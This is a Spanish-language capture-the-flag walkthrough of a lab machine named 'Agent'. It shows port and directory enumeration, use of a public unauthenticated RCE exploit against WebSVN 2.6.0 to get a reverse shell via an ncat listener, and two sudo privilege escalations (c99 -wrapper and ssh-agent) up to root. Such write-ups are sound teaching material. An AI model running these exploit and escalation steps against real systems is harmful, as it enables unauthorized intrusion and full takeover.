16 - Agent - wh01s17

Enumeramos puertos y directorios:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.100

❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 01:26 -04
Nmap scan report for 192.168.1.100
Host is up (0.00028s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds

❯ dirb http://192.168.1.100 -o dirb_results -R
...
+ http://192.168.1.100/index.html (CODE:200|SIZE:615)
==> DIRECTORY: http://192.168.1.100/websvn/
...

Accedemos a http://192.168.1.100/websvn/ y vemos que corre WebSVN 2.6.0, vulnerable a ejecución remota de comandos no autenticada. Buscamos y lanzamos el exploit:

❯ searchsploit WebSVN 2.6.0
...
Websvn 2.6.0 - Remote Code Execution (Unauthenticated) | php/webapps/50042.py
...

❯ searchsploit -m 50042

Configuramos nuestra IP y puerto en el script y obtenemos una shell como www-data:

❯ python3 50042.py http://192.168.1.100/websvn/

❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
id
Ncat: Connection from 192.168.1.100:47922.
bash: cannot set terminal process group (434): Inappropriate ioctl for device
bash: no job control in this shell
www-data@agent:~/html/websvn$

La escalada se realiza en dos saltos vía sudo. Primero, los permisos de www-data:

www-data@agent:~/html/websvn$ sudo -l
Matching Defaults entries for www-data on agent:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on agent:
    (dustin) NOPASSWD: /usr/bin/c99

Podemos ejecutar c99 (compilador de C) como dustin; abusamos de su modo -wrapper para lanzar una shell y obtener la primera flag:

www-data@agent:/home$ sudo -u dustin c99 -wrapper /bin/bash,-s .
dustin@agent:/home$

Repetimos sudo -l como dustin:

dustin@agent:~$ sudo -l
Matching Defaults entries for dustin on agent:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dustin may run the following commands on agent:
    (root) NOPASSWD: /usr/bin/ssh-agent

ssh-agent permite ejecutar un programa como argumento; lo usamos para lanzar una shell con privilegios de root:

dustin@agent:~$ sudo -u root /usr/bin/ssh-agent /bin/bash
root@agent:/home/dustin#

Obtenemos nuestra flag y fin.